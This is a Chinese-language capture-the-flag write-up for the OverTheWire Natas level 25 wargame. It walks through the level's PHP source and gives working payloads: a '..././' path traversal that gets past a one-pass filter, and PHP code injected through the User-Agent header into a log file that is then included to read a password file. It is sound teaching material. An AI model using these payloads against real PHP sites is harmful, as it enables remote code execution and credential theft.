Natas25-writeup

前言 php

  题目连接: http://natas25.natas.labs.overthewire.orgweb

  作这一题花了一些时间,也是因为本身知识点掌握不足,因此分享下解题过程。安全

 

题目分析session

  首先,登陆后看到如下界面,是一篇文章的内容。右上角,language的地方能够选择语言,默认是英语,能够选择德语。当选择德语或英语后,能够看到URL请求会发送lang的参数。当我看到这里的时候先想到的是文章内容多是读取的网站的文件内容,猜想经过目录遍历去直接查看/etc/natas_webpass/natas26的内容(此文件存放了下一关的密码)。(这边没有尝试,直接先查看了源代码,固然此关没这么简单,尝试结果也会是失败的。)并发

  点击view sourcecode来解读下源代码。函数

  能够看到一共有四个函数,分别是setLanguage、safeinclude、listFiles和logRequest。根据名称含义及代码大体猜想setlanguage是设置语言,safeinclude是文件包含的安全设置,listfile是罗列文件或查找文件(此函数其实并未彻底理解,但大体理解为用于查找lang参数传入的文件路径),logrequest是用于写入安全日志。学习

  大体理了下逻辑关系。网站

<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?> ui

  一、页面请求开始后,foreach函数会调用listfiles函数的返回结果做为变量f并输出。默认状况下就是咱们一打开看到的英文文章。spa

<?php  
    session_start();
    setLanguage();
    
    echo 
"<h2>$__GREETING
</h2>";
    echo 
"<p align=\"justify\">$__MSG
";
    echo 
"<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>

  二、当页面上选择language后,调用setlanguage函数。以后就是几个函数的相互调用。

function setLanguage(){
        /* language setup */
        
if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }

  三、Setlanguage函数将request中的lang参数丢给safeinclude函数,假如此时request中传递的lang参数为../../../../../etc/natas_webpass/natas25。通过拼接后传递给safeinclude函数的参数就变成了language/../../../../../etc/natas_webpass/natas25

function safeinclude($filename){
        // check for directory traversal
        
if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        
if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        
if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }
    

  四、safeinclude函数将通过几回判断:

    • 首先判断文件路径中是否包含"../",若包含则经过str_replace函数将"../"所有替换为空。并经过logrequest函数记录此次事件。这种过滤,如:将每一个../替换为…/./,这种过滤是一次性的,不会对过滤的内再次校验,…/./过滤后就变成了../。
    • 而后判断文件路径中是否包含了natas_webpass,若包含直接断开链接,并记录日志。这致使了直接访问natas_webpass/natas26的方法不可行了。
    • 最后的判断则是包含文件,并返回内容了。

到此为止,我最开始的猜测证实错误了。这里我也卡了好久,毕竟刚开始学,知识匮乏(无奈。。。)

一开始我忽略了,logrequest函数记录日志这一过程,由于没看该函数内容前,一直觉得日志记录的只是固定的字符串。但其实还有时间和requests请求中的user-agent字段。卡了好久后,无奈Google了一番,确认了新思路。利用user-agent进行注入,将natas26文件内容写入日志后,再经过目录遍历查看日志文件。

    function logRequest($message){
        $log="["date("d.m.Y H::i:s",time()) ."]";#记录时间
        $log=$log " " $_SERVER['HTTP_USER_AGENT'];#经过user-agent去包含natas26文件
        $log=$log " \"" $message ."\"\n"
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" session_id() .".log","a");#日志路径,目录遍历时用。
        fwrite($fd,$log);
        fclose($fd);
    }

logrequest函数中有两个关键点:

 $log=$log " " $_SERVER['HTTP_USER_AGENT'];

    • 这条语句会将HTTP请求中的user-agent字段的内容,拼接到日志信息中。这里我采用了include函数去读取natas26文件内容。(这里并不是只能用include,只要能够读取文件内容的方式应该均可以。)

 $fd=fopen("/var/www/natas/natas25/logs/natas25_" session_id() .".log","a");

    • 日志存储的路径,以及日志文件名的命名规则。

 

开始解题

  我使用了burpsuite来抓包和改包。设置好代理后,抓到请求包,并发送给repeater,开始构造所需的请求包。

  主要有两处须要修改的地方:

    • 构造lang参数去读取日志文件。

?lang=..././..././..././..././..././..././var/www/natas/natas25/logs/natas25_1hlck4sj7dasfhp0h05efhb9b1.log

?lang=..././logs/natas25_1hlck4sj7dasfhp0h05efhb9b1.log

  这里,我列出了2种路劲。第一种路劲是返回到根目录,而后使用完整路径访问日志文件。第二种路劲是猜想logs目录和language目录属于同一级目录,因此返回至natas目录,而后访问logs目录下的日志文件。原理是同样的,只是当不知道目录之间的关系时,又知道完整路劲,就采用第一种方式。

    • 构造user-agent参数去包含natas_webpass/natas26文件内容。

User-Agent: <?php include('/etc/natas_webpass/natas26') ?>

  如图,其中PHPID也是关键,由于日志文件的命名是用到了PHPID。

  构造好数据包后,发送请求,得到下一关的密码。(图片中密码抹掉了几位,建议动手尝试)

  (能够看到第一次请求因为输错了路劲,致使include失败的信息也是写入了日志中。)

  这里能够看到safeinclude函数,当"../"被替换后,会在日志中记录"Directory traversal attempt! fixing request."

  当直接尝试访问/etc/natas_webpass/natas26时,会断开链接,没有返回内容,并会在日志中记录"Illegal file access detected! Aborting!"

  以上就是整个natas25的解题过程了,当时主要是在user-agent的注入上花了点时间学习。

本站公众号
   欢迎关注本站公众号,获取更多信息